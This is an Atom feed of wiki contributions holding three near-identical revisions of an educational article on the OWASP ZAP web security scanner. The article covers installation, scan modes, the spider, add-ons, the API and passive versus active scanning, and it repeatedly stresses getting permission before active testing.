<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JDimmel</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JDimmel"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/JDimmel"/>
	<updated>2026-09-10T16:27:38Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10940</id>
		<title>OWASP ZAP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10940"/>
		<updated>2023-01-08T15:59:54Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: grammar correction, restructuring of sentences and some rewriting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
=== About ===&lt;br /&gt;
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the &#039;&#039;principles of ZAP&#039;&#039; first for a better understanding.&lt;br /&gt;
&lt;br /&gt;
The principles are:&lt;br /&gt;
* It is free and open source, so anyone can access and use it.&lt;br /&gt;
* It is cross-platform (Windows, Linux, macOS, Docker)&lt;br /&gt;
* It is newcomer friendly, but offers advanced and more complex functions as well.&lt;br /&gt;
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.&lt;br /&gt;
* It is fully internationalized, i.e., it has been translated to many other languages.&lt;br /&gt;
* It is fully documented, meaning it has a set of useful documents and helpline files are included.&lt;br /&gt;
* It works well with additional third-party tools. For example: Automation&lt;br /&gt;
* It supports the use of well-regarded components.&lt;br /&gt;
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.&lt;br /&gt;
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.&lt;br /&gt;
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the client&#039;s browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.&lt;br /&gt;
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.&lt;br /&gt;
&lt;br /&gt;
Additionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.&lt;br /&gt;
&lt;br /&gt;
There are various Add-ons, as well as an API, which enhance the functionality and features of ZAP.&lt;br /&gt;
As stated in the principles, ZAP targets all skill levels. Beginning with those who are new to security testing, who are likely to start out using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.&lt;br /&gt;
Since we’re talking about security, to a lot of people, it is also important to know what their security tools really can do. ZAP is open source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).&lt;br /&gt;
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.&lt;br /&gt;
&lt;br /&gt;
==How-To==&lt;br /&gt;
===Installation===&lt;br /&gt;
[[File:Zap-installation.png|thumb|ZAP Installation]]&lt;br /&gt;
&lt;br /&gt;
First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.&lt;br /&gt;
&lt;br /&gt;
Additionally, Java version 11 or higher must be installed. There are no additional requirements.&lt;br /&gt;
&lt;br /&gt;
=== Test target ===&lt;br /&gt;
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ Firing Range], which is a free-to-use online installation of Google&#039;s Firing Range. Alternatively, an online accessible OWASP Juice Shop instance like the [//juice-shop.herokuapp.com official one] can be used to try out and learn ZAP. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!&lt;br /&gt;
&lt;br /&gt;
===Persistent Sessions===&lt;br /&gt;
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]&lt;br /&gt;
After opening ZAP you are asked if you want to persist the session.&lt;br /&gt;
ZAP is able to save its sessions. In other words, collected and analyzed data from web applications are saved. It enables the user to continue their analysis of the web application without the need to reach the web application.&lt;br /&gt;
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result in hundreds of Megabytes.&lt;br /&gt;
&lt;br /&gt;
===Modes===&lt;br /&gt;
ZAP has different modes to choose from:&lt;br /&gt;
* Safe: Only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application&lt;br /&gt;
* Protected: This is the officially recommended mode. It allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.&lt;br /&gt;
* Standard: ZAP is allowed to do anything to the web application&lt;br /&gt;
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.&lt;br /&gt;
&lt;br /&gt;
===Quick Start/Automated Scan===&lt;br /&gt;
[[File:Zap-quickstart.png|thumb|ZAP Quick Start]]&lt;br /&gt;
The easiest way to start using ZAP is via the Quick Start tab.&lt;br /&gt;
To run a Quick Start/Automated Scan:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window.&lt;br /&gt;
* Click the large Automated Scan button.&lt;br /&gt;
* In the URL to attack text box, enter the full URL of the web application you want to attack.&lt;br /&gt;
* Click the Attack button&lt;br /&gt;
&lt;br /&gt;
===Manual Scan===&lt;br /&gt;
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]&lt;br /&gt;
A manual scan can be done the following way:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)&lt;br /&gt;
* Click the large Manual Explore button.&lt;br /&gt;
* In the URL to explore text box, enter the full URL of the web application you want to explore.&lt;br /&gt;
* Select the browser you would like to use&lt;br /&gt;
* Click the Launch Browser&lt;br /&gt;
&lt;br /&gt;
Next, you will be presented with a welcome message that includes the HUD tutorial (see figure “ZAP HUD Welcome Message”)&lt;br /&gt;
&lt;br /&gt;
=== Spider ===&lt;br /&gt;
[[File:Zap-spider.png|thumb|ZAP Spider]]&lt;br /&gt;
After starting an automated scan, the Spider tab opens up in ZAP. The Spider “crawls” through the web application and tries to find every page of the web application. Optionally, a more advanced AJAX spider&lt;br /&gt;
for AJAX-rich sites can be used.&lt;br /&gt;
&lt;br /&gt;
===Add-ons===&lt;br /&gt;
There is a &#039;&#039;&#039;Marketplace&#039;&#039;&#039; for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.&lt;br /&gt;
Usually, Add-ons are assigned one of the following states:&lt;br /&gt;
* Release: high-quality add-on&lt;br /&gt;
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development&lt;br /&gt;
&lt;br /&gt;
[[File:Zap-addons.png|thumb|Manage Add-ons]]&lt;br /&gt;
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for “Manage Add-ons”.&lt;br /&gt;
&lt;br /&gt;
===User Agent Settings===&lt;br /&gt;
If you go to &#039;&#039;Tools → Options → Connection&#039;&#039; in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.&lt;br /&gt;
&lt;br /&gt;
=== API ===&lt;br /&gt;
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.&lt;br /&gt;
&lt;br /&gt;
Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.&lt;br /&gt;
&lt;br /&gt;
====Why is an API key required by default?====&lt;br /&gt;
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.&lt;br /&gt;
&lt;br /&gt;
===Attack the OWASP Top 10 using ZAP===&lt;br /&gt;
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP. &lt;br /&gt;
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].&lt;br /&gt;
The last OWASP Top 10 was 2017. The current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021. &lt;br /&gt;
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].&lt;br /&gt;
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]&lt;br /&gt;
&lt;br /&gt;
===Passive versus Active Scanning===&lt;br /&gt;
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread, so it does not negatively affect the performance when exploring an application.&lt;br /&gt;
&lt;br /&gt;
Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is running by default in Standard and Attack Mode.&lt;br /&gt;
&lt;br /&gt;
Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP, since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site, we already mentioned spidering as a viable option, but we need to keep in mind that they also are rather limited when it comes to filling out forms. Forms may be filled with default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.&lt;br /&gt;
&lt;br /&gt;
Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP. The benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.&lt;br /&gt;
&lt;br /&gt;
== Videos ==&lt;br /&gt;
&lt;br /&gt;
A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]&lt;br /&gt;
* R. S. Devi and M. M. Kumar, &amp;quot;Testing for Security Weakness of Web Applications using Ethical Hacking,&amp;quot; 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10939</id>
		<title>OWASP ZAP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10939"/>
		<updated>2023-01-08T15:42:08Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: added short mention about ajax spider&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
=== About ===&lt;br /&gt;
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the &#039;&#039;principles of ZAP&#039;&#039; first for a better understanding.&lt;br /&gt;
&lt;br /&gt;
The principles are:&lt;br /&gt;
* It is free and open source, so anyone can access and use it.&lt;br /&gt;
* It is cross-platform (Windows, Linux, macOS, Docker)&lt;br /&gt;
* It is newcomer friendly, but offers advanced and more complex functions as well.&lt;br /&gt;
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.&lt;br /&gt;
* It is fully internationalized, i.e., it has been translated to many other languages.&lt;br /&gt;
* It is fully documented, meaning it has a set of useful documents and helpline files are included.&lt;br /&gt;
* It works well with additional third-party tools. For example: Automation&lt;br /&gt;
* It supports the use of well-regarded components.&lt;br /&gt;
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.&lt;br /&gt;
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.&lt;br /&gt;
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the client&#039;s browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.&lt;br /&gt;
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.&lt;br /&gt;
&lt;br /&gt;
Additionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.&lt;br /&gt;
&lt;br /&gt;
There are various Add-ons, as well as an API, which enhance the functionality and features of ZAP.&lt;br /&gt;
As stated in the principles, ZAP targets all skill levels. Beginning with those who are new to security testing, who are likely to start out using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.&lt;br /&gt;
Since we’re talking about security, to a lot of people, it is also important to know what their security tools really can do. ZAP is open source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).&lt;br /&gt;
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.&lt;br /&gt;
&lt;br /&gt;
==How-To==&lt;br /&gt;
===Installation===&lt;br /&gt;
[[File:Zap-installation.png|thumb|ZAP Installation]]&lt;br /&gt;
&lt;br /&gt;
First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.&lt;br /&gt;
&lt;br /&gt;
Additionally, Java version 11 or higher must be installed. There are no additional requirements.&lt;br /&gt;
&lt;br /&gt;
=== Test target ===&lt;br /&gt;
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ https://public-firing-range.appspot.com/] which is a free-to-use online installation of Google&#039;s Firing Range. Alternatively, an online accessible OWASP Juice Shop instance like the [//juice-shop.herokuapp.com official one] can be used to run try out and learn ZAP. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!&lt;br /&gt;
&lt;br /&gt;
===Persistent Sessions===&lt;br /&gt;
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]&lt;br /&gt;
After opening ZAP you are asked if you want to persist the session.&lt;br /&gt;
ZAP is able to save its sessions. In other words, collected and analysed data from web applications are saved. It enables the user to continue their analysis of the webapplication without the need to reach the web application.&lt;br /&gt;
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result to hundreds of Megabytes.&lt;br /&gt;
&lt;br /&gt;
===Modes===&lt;br /&gt;
ZAP has different modes to to choose from:&lt;br /&gt;
* Safe: only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application&lt;br /&gt;
* Protected: the officially recommended mode. it allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.&lt;br /&gt;
* Standard: ZAP is allow to to do anything to the web application&lt;br /&gt;
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.&lt;br /&gt;
&lt;br /&gt;
===Quickstart/Automated Scan===&lt;br /&gt;
[[File:Zap-quickstart.png|thumb|ZAP Quickstart]]&lt;br /&gt;
The easiest way to start using ZAP is via the Quick Start tab.&lt;br /&gt;
To run a Quick Start/Automated Scan:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window.&lt;br /&gt;
* Click the large Automated Scan button.&lt;br /&gt;
* In the URL to attack text box, enter the full URL of the web application you want to attack.&lt;br /&gt;
* Click the Attack button&lt;br /&gt;
&lt;br /&gt;
===Manual Scan===&lt;br /&gt;
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]&lt;br /&gt;
A manual scan can be done the following way:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)&lt;br /&gt;
* Click the large Manual Explore button.&lt;br /&gt;
* In the URL to explore text box, enter the full URL of the web application you want to explore.&lt;br /&gt;
* Select the browser you would like to use&lt;br /&gt;
* Click the Launch Browser&lt;br /&gt;
&lt;br /&gt;
Next you will be presented with a welcome message that includes the HUD tutorial (see figure &amp;quot;ZAP HUD Welcome Message&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
=== Spider ===&lt;br /&gt;
[[File:Zap-spider.png|thumb|ZAP Spider]]&lt;br /&gt;
After starting an automated scan, the Spider tab opens up in ZAP. The Spider “crawls” through the web application and tries to find every page of the web application. Optionally, a more advanced AJAX spider&lt;br /&gt;
for AJAX-rich sites can be used.&lt;br /&gt;
&lt;br /&gt;
===Add-Ons===&lt;br /&gt;
There is a &#039;&#039;&#039;Marketplace&#039;&#039;&#039; for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.&lt;br /&gt;
Usually Add-ons are assigned one of the following states:&lt;br /&gt;
* Release: high-quality add-on&lt;br /&gt;
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development&lt;br /&gt;
&lt;br /&gt;
[[File:Zap-addons.png|thumb|Manage Add-Ons]]&lt;br /&gt;
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for &amp;quot;Manage Add-Ons&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===User Agent Settings===&lt;br /&gt;
If you go to &#039;&#039;Tools → Options → Connection&#039;&#039; in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.&lt;br /&gt;
&lt;br /&gt;
=== API ===&lt;br /&gt;
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.&lt;br /&gt;
&lt;br /&gt;
Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.&lt;br /&gt;
&lt;br /&gt;
====Why is an API key required by default?====&lt;br /&gt;
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.&lt;br /&gt;
&lt;br /&gt;
===Attack the OWASP Top 10 using ZAP===&lt;br /&gt;
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP. &lt;br /&gt;
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].&lt;br /&gt;
The last OWASP Top 10 was 2017. Current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021. &lt;br /&gt;
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].&lt;br /&gt;
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]&lt;br /&gt;
&lt;br /&gt;
===Passive versus Active Scanning===&lt;br /&gt;
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread so it does not negatively affect the performance when exploring an application.&lt;br /&gt;
&lt;br /&gt;
Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is defaultly running in Standard and Attack Mode.&lt;br /&gt;
&lt;br /&gt;
Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site we already mentioned spidering as a viable option but we need to keep in mind that they also are rather limited when it comes to filling out forms, they may enter default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.&lt;br /&gt;
&lt;br /&gt;
Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP, the benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.&lt;br /&gt;
&lt;br /&gt;
== Videos ==&lt;br /&gt;
&lt;br /&gt;
A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]&lt;br /&gt;
* R. S. Devi and M. M. Kumar, &amp;quot;Testing for Security Weakness of Web Applications using Ethical Hacking,&amp;quot; 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10937</id>
		<title>OWASP ZAP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=10937"/>
		<updated>2023-01-08T15:36:44Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: grammar correction and some rewriting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
=== About ===&lt;br /&gt;
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the &#039;&#039;principles of ZAP&#039;&#039; first for a better understanding.&lt;br /&gt;
&lt;br /&gt;
The principles are:&lt;br /&gt;
* It is free and open source, so anyone can access and use it.&lt;br /&gt;
* It is cross-platform (Windows, Linux, macOS, Docker)&lt;br /&gt;
* It is newcomer friendly, but offers advanced and more complex functions as well.&lt;br /&gt;
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.&lt;br /&gt;
* It is fully internationalized, i.e., it has been translated to many other languages.&lt;br /&gt;
* It is fully documented, meaning it has a set of useful documents and helpline files are included.&lt;br /&gt;
* It works well with additional third-party tools. For example: Automation&lt;br /&gt;
* It supports the use of well-regarded components.&lt;br /&gt;
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.&lt;br /&gt;
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.&lt;br /&gt;
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the client&#039;s browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.&lt;br /&gt;
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.&lt;br /&gt;
&lt;br /&gt;
Additionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.&lt;br /&gt;
&lt;br /&gt;
There are various Add-ons, as well as an API, which enhance the functionality and features of ZAP.&lt;br /&gt;
As stated in the principles, ZAP targets all skill levels. Beginning with those who are new to security testing, who are likely to start out using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.&lt;br /&gt;
Since we’re talking about security, to a lot of people, it is also important to know what their security tools really can do. ZAP is open source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).&lt;br /&gt;
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.&lt;br /&gt;
&lt;br /&gt;
==How-To==&lt;br /&gt;
===Installation===&lt;br /&gt;
[[File:Zap-installation.png|thumb|ZAP Installation]]&lt;br /&gt;
&lt;br /&gt;
First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.&lt;br /&gt;
&lt;br /&gt;
Additionally, Java version 11 or higher must be installed. There are no additional requirements.&lt;br /&gt;
&lt;br /&gt;
=== Test target ===&lt;br /&gt;
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ https://public-firing-range.appspot.com/] which is a free-to-use online installation of Google&#039;s Firing Range. Alternatively, an online accessible OWASP Juice Shop instance like the [//juice-shop.herokuapp.com official one] can be used to run try out and learn ZAP. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!&lt;br /&gt;
&lt;br /&gt;
===Persistent Sessions===&lt;br /&gt;
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]&lt;br /&gt;
After opening ZAP you are asked if you want to persist the session.&lt;br /&gt;
ZAP is able to save its sessions. In other words, collected and analysed data from web applications are saved. It enables the user to continue their analysis of the webapplication without the need to reach the web application.&lt;br /&gt;
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result to hundreds of Megabytes.&lt;br /&gt;
&lt;br /&gt;
===Modes===&lt;br /&gt;
ZAP has different modes to to choose from:&lt;br /&gt;
* Safe: only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application&lt;br /&gt;
* Protected: the officially recommended mode. it allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.&lt;br /&gt;
* Standard: ZAP is allow to to do anything to the web application&lt;br /&gt;
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.&lt;br /&gt;
&lt;br /&gt;
===Quickstart/Automated Scan===&lt;br /&gt;
[[File:Zap-quickstart.png|thumb|ZAP Quickstart]]&lt;br /&gt;
The easiest way to start using ZAP is via the Quick Start tab.&lt;br /&gt;
To run a Quick Start/Automated Scan:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window.&lt;br /&gt;
* Click the large Automated Scan button.&lt;br /&gt;
* In the URL to attack text box, enter the full URL of the web application you want to attack.&lt;br /&gt;
* Click the Attack button&lt;br /&gt;
&lt;br /&gt;
===Manual Scan===&lt;br /&gt;
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]&lt;br /&gt;
A manual scan can be done the following way:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)&lt;br /&gt;
* Click the large Manual Explore button.&lt;br /&gt;
* In the URL to explore text box, enter the full URL of the web application you want to explore.&lt;br /&gt;
* Select the browser you would like to use&lt;br /&gt;
* Click the Launch Browser&lt;br /&gt;
&lt;br /&gt;
Next you will be presented with a welcome message that includes the HUD tutorial (see figure &amp;quot;ZAP HUD Welcome Message&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
=== Spider ===&lt;br /&gt;
[[File:Zap-spider.png|thumb|ZAP Spider]]&lt;br /&gt;
After starting an automated scan the Spider tab opens up in ZAP. The Spider &amp;quot;crawls&amp;quot; through the web application and tries to find every page of the web application.&lt;br /&gt;
===Add-Ons===&lt;br /&gt;
